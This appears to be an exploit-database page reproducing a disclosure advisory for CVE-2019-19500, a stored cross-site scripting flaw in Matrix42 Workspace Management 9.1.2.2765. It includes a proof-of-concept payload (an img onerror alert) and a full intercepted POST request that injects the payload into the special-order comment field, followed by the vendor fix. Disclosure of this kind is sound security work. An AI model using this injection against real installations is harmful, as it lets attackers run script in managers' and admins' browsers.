0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Matrix42 Workspace Management 9.1.2.2765 Cross Site Scripting Vulnerability
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Matrix42 Workspace Management 9.1.2.2765 – Stored Cross-Site Scripting
===============================================================================
Identifiers
-------------------------------------------------
CVE-2019-19500
CVSSv3 score
-------------------------------------------------
9.1 [AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L&version=3.1))
Vendor
-------------------------------------------------
Matrix42 ([https://www.matrix42.com](https://www.matrix42.com/))
Product
-------------------------------------------------
Matrix42 combines the disciplines of Unified Endpoint Management (UEM), Software Asset Management (SAM), Automated Endpoint Security (AES) and Service Management (ITSM). With MyWorkspace, one can use the browser to access data and applications securely regardless of the device. With MX42 Workspace Management, one actively manage devices, applications, processes, and services simple, secure, and compliant. The innovative software seamlessly integrates physical, virtual, mobile and cloud-based workspaces into existing infrastructures.
Affected versions
-------------------------------------------------
- Workspace Management 9.1.2.2765 and below
Credit
-------------------------------------------------
Christian Pappas, Georg Ph E Heise (@gpheheise) / Lufthansa Industry Solutions (@LHIND_DLH)
Vulnerability summary
-------------------------------------------------
Workspace Management 9.1.2.2765 and below have a stored XSS vulnerability in the comment field for special order. A user can use this to exploit other privileged users eg managers or admins who are viewing excepting the order.
Technical details
------------------------------------------------
The custom field when placing orders is vulnerable to a persistent cross site scripting (XSS) attack.
An Attacker has to intercept the request made by the web application and modify it before submitting it to server.
Proof of concept
-------------------------------------------------
The following evidence is provided to illustrate the existence and
exploitation:
Modify the the custom field for special order similar to this:
"<p><strong>Kali Linux&nbps;<img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type"
POST /m42Services/api/WidgetDialog/UpdateData/88b223a6-0686-c617-1445-08d6df7de1cf HTTP/1.1
Host: foo.bar.de
Connection: close
Content-Length: 1629
Origin: https:/foo.bar.de
mx-application-id: MX_APPLICATION_ID
Accept-Language: de-DE
Authorization: Bearer beARerTokenHere
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
DNT: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://foo.bar.de/wm/app-SelfServicePortal/search-page/subpage
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=SESSION_ID
'{"Sys-Entity":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","ID”:”REQUEST_ID,”Sys-IsNew":false,"Sys-TimeStamp”:”TIMESTA”MP,”Sys-DisplayName":"Formular individuelle Softwareanfrage","Ud_LHIND_Service_Form_IndividualSoftwareRequestClassBase":{"Sys-TimeStamp”:”TIMESTAMP”,”ID":"fIDIDID”,”Software":"test","Description":"<p><strong>Kali Linux&nbps;<img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","_id”:”IDNUMMER”,”DisplayString":"Formular individuelle Softwareanfrage","_displayName":"Formular individuelle Softwareanfrage","_name":"Formular individuelle Softwareanfrage","IsNew":false,"SPSCommonClassBase":{"Representitives":{"AddedRelations":[],"RemovedRelations":[]},"WorkflowErrors":{"AddedRelations":[],"RemovedRelations":[]},"Tasks":{"AddedRelations":[],"RemovedRelations":[]},"RelatedBackupObject":{"AddedRelations":[],"RemovedRelations":[]},"RelatedDependentObject":{"AddedRelations":[],"RemovedRelations":[]},"ServiceBookings":{"AddedRelations":[],"RemovedRelations":[]},"Bookings":{"AddedRelations":[],"RemovedRelations":[]},"FormForShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]},"Appointments":{"AddedRelations":[],"RemovedRelations":[]},"Memorandums":{"AddedRelations":[],"RemovedRelations":[]},"Service":{"AddedRelations":[],"RemovedRelations":[]},"Orders":{"AddedRelations":[],"RemovedRelations":[]},"ShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]}}}'
`
Solution
-------------------------------------------------
Upgrade to Matrix42 Workspace Management Version 10.0
# 0day.today [2024-10-06] #